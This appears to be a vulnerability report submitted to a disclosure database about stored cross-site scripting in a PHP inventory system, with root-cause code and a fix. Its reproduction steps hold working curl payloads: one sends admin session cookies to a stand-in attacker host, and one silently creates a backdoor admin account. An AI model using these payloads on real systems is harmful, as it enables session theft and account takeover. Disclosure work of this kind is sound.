| Title | SourceCodester Inventory System using PHP and MySQL 1.0 Improper Neutralization of Input During Web Page Generation (Sto |
|---|
| Description | Title: Stored Cross-Site Scripting via User Registration Leads to Admin Account Takeover in PHP Inventory System 1.0
Summary:
The registration endpoint in api/users_handler.php takes whatever someone puts in the full_name field and stuffs it straight into the database. Then over in users.php, when admins view the user list, that name gets echoed right onto the page with zero escaping. So anyone can sign up with a name like <script>do_bad_stuff()</script>, and as soon as an admin loads the users page, that script fires in their browser. At that point, the attacker can grab session cookies, create rogue admin accounts, or pull out sensitive data.
Affected Component:
Input side: api/users_handler.php — the register action handles the full_name parameter
Output side: users.php (around line 33) — displays user data without encoding
Root Cause Analysis:
Two things going on here. On the way in, api/users_handler.php doesn't clean up the full_name field at all before inserting it:
php
// api/users_handler.php
$full_name = $_POST['full_name'] ?? '';
$stmt = $pdo->prepare("INSERT INTO users (username, password, full_name, role) VALUES (?, ?, ?, ?)");
$stmt->execute([$username, $hashed_password, $full_name, $role]);
Then on the way out, users.php just echoes it raw:
php
// users.php line 33-35
<td><?php echo $row['full_name']; ?></td>
<td><?php echo $row['username']; ?></td>
htmlspecialchars() is nowhere to be found in this whole application. And it's not just users.php — the same issue exists in invoice.php, index.php, products.php, customers.php, and vendors.php. Basically every page that displays data from the database is vulnerable.
Steps to Reproduce:
Register a new user with a payload in the name field:
curl -s -X POST http://localhost/Product_Inventory/api/users_handler.php \
-d "action=register" \
-d "username=xss_test" \
-d "password=test123" \
-d 'full_name=<img src=x onerror="fetch(`https://attacker.com/steal?c=`+document.cookie)">' \
-d "role=staff"
Now wait for an admin to pull up users.php. When they do, the img tag fails to load, the onerror fires, and their session cookie gets sent off to whatever server you pointed it at.
If you want to get fancier and actually take over the account, register with a payload that silently creates a backdoor admin user:
curl -s -X POST http://localhost/Product_Inventory/api/users_handler.php \
-d "action=register" \
-d "username=xss_ato" \
-d "password=test123" \
-d 'full_name=<img src=x onerror="fetch(`api/users_handler.php`,{method:`POST`,headers:{`Content-Type`:`application/x-www-form-urlencoded`},body:`action=register%26username=backdoor%26password=owned%26full_name=System%26role=admin`})">' \
-d "role=staff"
Once the admin views the users page, the JavaScript makes a request from their authenticated session and creates an admin user named "backdoor" with whatever password you set. You log in, and you've got full control.
Suggested Fix:
Wrap every echo that outputs user data with htmlspecialchars(). Something like htmlspecialchars($value, ENT_QUOTES, 'UTF-8') across the board. This needs to be applied to every PHP file that displays database content — users.php, products.php, customers.php, vendors.php, invoice.php, index.php, all of them. Better yet, make it a habit going forward so new features don't reintroduce the same bug.
References:
Product listing: https://www.sourcecodester.com/php/18722/php-inventory-system.html |
|---|
| User | txvle (UID 99514) |
|---|
| Submission | 07/02/2026 17:42 (2 months ago) |
|---|
| Moderation | 08/19/2026 07:57 (2 months later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 374578 [SourceCodester Inventory Management System 1.0 User Registration Endpoint /api/users_handler.php full_name cross site scripting] |
|---|
| Points | 0 |
|---|